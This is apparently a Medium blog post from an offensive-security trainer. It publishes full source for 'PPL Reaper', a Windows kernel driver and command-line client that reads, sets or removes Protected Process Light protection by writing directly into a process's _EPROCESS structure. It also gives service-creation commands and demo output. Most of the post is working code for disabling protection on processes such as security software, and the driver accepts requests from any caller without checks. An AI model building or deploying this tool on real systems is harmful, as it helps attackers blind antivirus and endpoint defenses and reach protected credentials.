Welcome to this new Medium post. In this one, I introduce you to PPL Reaper a tool designed to consolidate and unify all the concepts covered in my previous posts about Windows Protected Process Light (PPL).

Github Repository:

Throughout the earlier articles, we explored:

  • What Protected Process Light is and how it works internally
  • The _EPROCESS structure and the PS_PROTECTION field
  • How protection levels and signer types are represented
  • How PPL can be inspected from kernel mode
  • How protection attributes can be modified

Each post focused on a specific piece of the puzzle.

PPL Reaper brings everything together into a single, modular implementation

Here the list with all the previous PPL posts:

None

Courses: Learn how real malware works on Windows OS from beginner to advanced taking our courses, all explained in C++.

Technique Database: Access 50+ real malware techniques with weekly updates, complete with code, PoCs, and AV scan results:

Modules: Dive deep into essential malware topics with our modular training program! Get a new module every 14 days. Start at just $1.99 per module, or unlock lifetime access to all modules for $100.

Introduction

PPL Reaper is composed of:

  • A Windows kernel driver (Ring 0)
  • A userland companion tool (Ring 3)

The driver exposes a minimal IOCTL interface that allows controlled interaction with the PS_PROTECTION field of a target process. The userland client acts as a clean interface to communicate with the driver.

The goal is group all the techniques in one driver, using a different IOCTL for each implementation

What Does It Implement?

The tool exposes three core capabilities:

  1. Query PPL Status Retrieve the current protection level and signer type of a target process.
  2. Remove PPL Strip the protection from a Protected Process Light instance.
  3. Add / Set PPL Apply a specific PPL protection level (e.g., Antimalware signer).

These operations are performed from kernel mode, while the userland client simply forwards requests via DeviceIoControl

Code

Driver

#include <ntifs.h>
#include <ntddk.h>

// Define multiple IOCTL codes for different operations
#define IOCTL_GET_PROTECTION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_ADD_PROTECTION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_CLEAR_PROTECTION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)

/**
 * The PS_PROTECTION structure is used to define the protection level of a process.
 */
typedef struct _PS_PROTECTION
{
    union
    {
        UCHAR Level;
        struct
        {
            UCHAR Type : 3;
            UCHAR Audit : 1;
            UCHAR Signer : 4;
        } Flags;
    } u;
} PS_PROTECTION, * PPS_PROTECTION;

NTSTATUS IrpCreateHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    UNREFERENCED_PARAMETER(DeviceObject);
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "IRP_MJ_CREATE handled\n");
    return STATUS_SUCCESS;
}

VOID UnloadDriver(PDRIVER_OBJECT DriverObject) {
    UNREFERENCED_PARAMETER(DriverObject);
    DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Driver Unloaded\n");
}

NTSTATUS DriverDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    UNREFERENCED_PARAMETER(DeviceObject);
    PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
    NTSTATUS status = STATUS_SUCCESS;
    ULONG bytes = 0;
    ULONG ProcessId = 0;
    PEPROCESS Process;
    DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "IOCTL received\n");

    ProcessId = *(ULONG*)Irp->AssociatedIrp.SystemBuffer;
    DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "ProcessId: %d\n", ProcessId);

    status = PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)ProcessId, &Process);
    if (!NT_SUCCESS(status)) {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Failed to lookup process: %x\n", status);
        Irp->IoStatus.Status = status;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    }

    // Offset for PS_PROTECTION (e.g., 0x5fa on Windows 11; verify with WinDbg dt nt!_EPROCESS)
    PS_PROTECTION* protectionPtr = (PS_PROTECTION*)((UCHAR*)Process + 0x5fa);
    PS_PROTECTION protection = *protectionPtr;

    switch (stack->Parameters.DeviceIoControl.IoControlCode) {
    case IOCTL_GET_PROTECTION:
        // Read and return the protection level
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Process Protection Level: %02x\n", protection.u.Level);
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Type: %d, Audit: %d, Signer: %d\n", protection.u.Flags.Type, protection.u.Flags.Audit, protection.u.Flags.Signer);
        *(UCHAR*)Irp->AssociatedIrp.SystemBuffer = protection.u.Level;
        bytes = sizeof(UCHAR);
        break;

    case IOCTL_ADD_PROTECTION:
        // Set to ProtectedLight with Antimalware signer
        protectionPtr->u.Flags.Type = 1;   // PsProtectedTypeProtectedLight
        protectionPtr->u.Flags.Signer = 3; // PsProtectedSignerAntimalware
        protectionPtr->u.Flags.Audit = 0;
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Protection added (Type:1, Signer:3)\n");
        break;

    case IOCTL_CLEAR_PROTECTION:
        // Clear protection
        protectionPtr->u.Level = 0;
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Protection cleared\n");
        break;

    default:
        status = STATUS_INVALID_DEVICE_REQUEST;
        break;
    }

    Irp->IoStatus.Status = status;
    Irp->IoStatus.Information = bytes;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}

extern "C"
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    UNREFERENCED_PARAMETER(RegistryPath);

    // Create Device
    UNICODE_STRING dev, dos;
    RtlInitUnicodeString(&dev, L"\\Device\\PPLManipulator");
    RtlInitUnicodeString(&dos, L"\\DosDevices\\PPLManipulator");

    PDEVICE_OBJECT DeviceObject;
    NTSTATUS status = IoCreateDevice(DriverObject, 0, &dev, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
    if (!NT_SUCCESS(status)) {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Failed to create device: %x\n", status);
        return status;
    }
    else {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Device Created\n");
    }

    // Create Symbolic Link (delete if exists first)
    IoDeleteSymbolicLink(&dos);
    status = IoCreateSymbolicLink(&dos, &dev);
    if (!NT_SUCCESS(status)) {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Failed to create symbolic link: %x\n", status);
        IoDeleteDevice(DeviceObject);
        return status;
    }
    else {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Symbolic Link Created\n");
    }

    DriverObject->DriverUnload = UnloadDriver;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDeviceControl;
    DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateHandler;

    DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Driver Loaded\n");

    return STATUS_SUCCESS;
}

The driver is responsible for all privileged operations. It exposes a device object that userland can communicate with and processes three custom IOCTL codes. We can break the driver into five critical areas.

IOCTL Interface Definition

The most important design decision is the definition of three IOCTL codes:

  • Get protection
  • Add protection
  • Clear protection

These IOCTLs define the entire attack surface of the driver. Each code maps to a specific operation inside the DriverDeviceControl routine.

Because the driver uses METHOD_BUFFERED, the input and output data are exchanged through Irp->AssociatedIrp.SystemBuffer. This simplifies communication between user mode and kernel mode.

This IOCTL interface is the bridge between Ring 3 and Ring 0

PS_PROTECTION Structure

The key internal structure is PS_PROTECTION.This structure represents the protection level of a process and contains:

  • Type (3 bits): None / Protected / ProtectedLight
  • Audit (1 bit): Audit flag
  • Signer (4 bits): LSA, Antimalware, WinTcb, etc.
  • A full Level byte representation

This structure mirrors how Windows stores protection inside _EPROCESS.

Understanding this bitfield is essential because:

  • Reading it reveals protection state
  • Modifying it changes enforcement behavior

This is the core of the entire tool

DeviceIoControl Handler

DriverDeviceControl is the most important routine.

It performs:

Extract PID

The PID is read from the system buffer.

Resolve EPROCESS

The driver calls PsLookupProcessByProcessId to obtain a pointer to the target _EPROCESS.

This transitions from:

  • Abstract process ID to internal kernel object representation

This is critical because _EPROCESS is where protection lives.

Locate PS_PROTECTION in Memory

The driver manually calculates the address of the PS_PROTECTION field by adding a hardcoded offset to the base of _EPROCESS.

This offset is version-dependent and must be verified using WinDbg (dt nt!_EPROCESS).

This line is conceptually the most sensitive operation in the entire driver:

  • It converts an opaque kernel object into a modifiable memory structure
  • It assumes layout knowledge of Windows internals.

Perform Operation Based on IOCTL

The switch statement handles three cases:

GET_PROTECTION

  • Reads the Level byte.
  • Logs Type, Audit, and Signer.
  • Returns the Level back to userland.

This is a read-only inspection path.

ADD_PROTECTION

  • Sets Type to ProtectedLight
  • Sets Signer to Antimalware
  • Clears Audit

This modifies the internal protection state by writing to kernel memory.

CLEAR_PROTECTION

  • Zeroes the entire Level byte

This removes protection entirely

Userland

#include <windows.h>
#include <stdio.h>
#include <iostream>
#include <iomanip>

// IOCTL definitions
#define FILE_DEVICE_UNKNOWN             0x00000022
#define METHOD_BUFFERED                 0
#define FILE_ANY_ACCESS                 0

#define IOCTL_GET_PROTECTION    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_ADD_PROTECTION    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_CLEAR_PROTECTION  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define STATUS_SUCCESS                   ((NTSTATUS)0x00000000L)

// PS_PROTECTION structure 
typedef struct _PS_PROTECTION {
    union {
        UCHAR Level;
        struct {
            UCHAR Type : 3;
            UCHAR Audit : 1;
            UCHAR Signer : 4;
        } Flags;
    } u;
} PS_PROTECTION, * PPS_PROTECTION;

// Helper: print protection level in human-readable form
void PrintProtectionLevel(UCHAR level) {
    PS_PROTECTION prot;
    prot.u.Level = level;

    const char* typeStr;
    switch (prot.u.Flags.Type) {
    case 0:  typeStr = "None"; break;
    case 1:  typeStr = "Protected Light"; break;
    case 2:  typeStr = "Protected"; break;
    case 3:  typeStr = "Protected + Protected Light"; break; // rare
    default: typeStr = "Unknown"; break;
    }

    const char* signerStr;
    switch (prot.u.Flags.Signer) {
    case 0:  signerStr = "None"; break;
    case 1:  signerStr = "WinSystem"; break;
    case 2:  signerStr = "Windows"; break;
    case 3:  signerStr = "Antimalware"; break;
    case 6:  signerStr = "Lsa"; break;
    case 7:  signerStr = "Windows Defender"; break;
    default: signerStr = "Unknown"; break;
    }

    printf("Protection Level: 0x%02X\n", level);
    printf("  Type   : %s (%d)\n", typeStr, prot.u.Flags.Type);
    printf("  Signer : %s (%d)\n", signerStr, prot.u.Flags.Signer);
    printf("  Audit  : %s\n", prot.u.Flags.Audit ? "Yes" : "No");
}

int wmain(int argc, wchar_t* argv[]) {
    if (argc < 3) {
        wprintf(L"\nUsage:\n");
        wprintf(L"  %s <PID> get                 show current protection\n", argv[0]);
        wprintf(L"  %s <PID> protect             set Protected Light + Antimalware\n", argv[0]);
        wprintf(L"  %s <PID> unprotect           remove protection\n", argv[0]);
        wprintf(L"\nExamples:\n");
        wprintf(L"  %s 1234 get\n", argv[0]);
        wprintf(L"  %s 5678 protect\n", argv[0]);
        return 1;
    }

    DWORD pid = 0;
    if (swscanf_s(argv[1], L"%u", &pid) != 1 || pid == 0) {
        wprintf(L"[!] Invalid PID\n");
        return 1;
    }

    const wchar_t* action = argv[2];

    // Open device
    HANDLE hDevice = CreateFileW(
        L"\\\\.\\PPLManipulator",
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        wprintf(L"[!] Failed to open \\\\.\\PPLManipulator, Error %u (0x%X)\n", err, err);
        if (err == 2) {
            wprintf(L"    Make sure the driver is loaded and the device exists.\n");
        }
        return 1;
    }

    DWORD bytesReturned = 0;
    NTSTATUS status = STATUS_SUCCESS;
    bool success = false;

    if (_wcsicmp(action, L"get") == 0) {
        UCHAR protectionLevel = 0;

        success = DeviceIoControl(
            hDevice,
            IOCTL_GET_PROTECTION,
            &pid, sizeof(DWORD),
            &protectionLevel, sizeof(UCHAR),
            &bytesReturned,
            NULL
        );

        if (success) {
            printf("[PID %u]\n", pid);
            PrintProtectionLevel(protectionLevel);
        }
    }
    else if (_wcsicmp(action, L"protect") == 0 || _wcsicmp(action, L"add") == 0) {
        success = DeviceIoControl(
            hDevice,
            IOCTL_ADD_PROTECTION,
            &pid, sizeof(DWORD),
            NULL, 0,
            &bytesReturned,
            NULL
        );

        if (success) {
            wprintf(L"[+] Protection added to PID %u (Protected Light + Antimalware)\n", pid);
        }
    }
    else if (_wcsicmp(action, L"unprotect") == 0 || _wcsicmp(action, L"clear") == 0) {
        success = DeviceIoControl(
            hDevice,
            IOCTL_CLEAR_PROTECTION,
            &pid, sizeof(DWORD),
            NULL, 0,
            &bytesReturned,
            NULL
        );

        if (success) {
            wprintf(L"[+] Protection removed from PID %u\n", pid);
        }
    }
    else {
        wprintf(L"[!] Unknown action: %s\n", action);
        wprintf(L"    Use: get | protect | unprotect\n");
        success = false;
    }

    if (!success) {
        DWORD err = GetLastError();
        wprintf(L"[!] DeviceIoControl failed. Error %u (0x%X)\n", err, err);

        if (err == 87) {
            wprintf(L"    (invalid parameter) check PID exists and driver supports it\n");
        }
        else if (err == 31) {
            wprintf(L"    (function failed in driver) most likely process lookup failed or invalid PID\n");
        }
    }

    CloseHandle(hDevice);
    return success ? 0 : 1;
}

This program is a user‑mode client designed to communicate with a custom kernel driver through three IOCTL codes. It parses command-line arguments to obtain a target PID and an action (get, protect, or unprotect), then opens a handle to the device object exposed by the driver (\\.\PPLManipulator) using CreateFileW. Once the handle is acquired, it sends the PID to the driver via DeviceIoControl, selecting the appropriate IOCTL depending on the requested action. For the get operation, it expects a single byte in return representing the process protection level; for the other operations, it simply checks whether the request succeeded.

A key component of the program is the PS_PROTECTION structure and the PrintProtectionLevel helper function, which interpret the returned protection byte in a human-readable way. The structure mirrors the internal Windows layout, where the protection level is encoded as bitfields representing the protection type, signer, and audit flag. When the get command is used, the program decodes these fields and prints meaningful descriptions (for example, Protected Light or Antimalware) instead of raw numeric values.

Proof of Concept

We start creating the service with the driver:

sc create PPLReaper binpath="C:\Users\s12de\Documents\Github\PPLReaper\PPLDriver\x64\Release\PPLDriver.sys" type="kernel"

Then just:

sc start PPLReaper

With the userland:

C:\Users\s12de\Documents\Github\PPLReaper\PPLUManipulator\x64\Release>PPLUManipulator.exe

Usage:
  PPLUManipulator.exe <PID> get                 show current protection
  PPLUManipulator.exe <PID> protect             set Protected Light + Antimalware
  PPLUManipulator.exe <PID> unprotect           remove protection

Examples:
  PPLUManipulator.exe 1234 get
  PPLUManipulator.exe 5678 protect

We can get the protection of a process:

C:\Users\s12de\Documents\Github\PPLReaper\PPLUManipulator\x64\Release>PPLUManipulator.exe 4 get
[PID 4]
Protection Level: 0x00
  Type   : None (0)
  Signer : None (0)
  Audit  : No

We can set protection:

C:\Users\s12de\Documents\Github\PPLReaper\PPLUManipulator\x64\Release>PPLUManipulator.exe 4 protect
[+] Protection added to PID 4 (Protected Light + Antimalware)

C:\Users\s12de\Documents\Github\PPLReaper\PPLUManipulator\x64\Release>PPLUManipulator.exe 4 get
[PID 4]
Protection Level: 0x31
  Type   : Protected Light (1)
  Signer : Antimalware (3)
  Audit  : No

And we can remove:

C:\Users\s12de\Documents\Github\PPLReaper\PPLUManipulator\x64\Release>PPLUManipulator.exe 4 unprotect
[+] Protection removed from PID 4

C:\Users\s12de\Documents\Github\PPLReaper\PPLUManipulator\x64\Release>PPLUManipulator.exe 4 get
[PID 4]
Protection Level: 0x00
  Type   : None (0)
  Signer : None (0)
  Audit  : No

Conclusions

PPL Reaper represents the consolidation of everything covered throughout the Windows PPL series: theory, structure analysis, kernel interaction, and practical implementation. Instead of isolated proof‑of‑concept snippets, this project demonstrates how all the components fit together, from resolving _EPROCESS, to understanding the PS_PROTECTION bitfield, to building a clean IOCTL interface that bridges user mode and kernel mode.

📌 Follow me: YouTube | 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter

We help security teams enhance offensive capabilities with precision-built tooling and expert guidance, from custom malware to advanced evasion strategies

S12.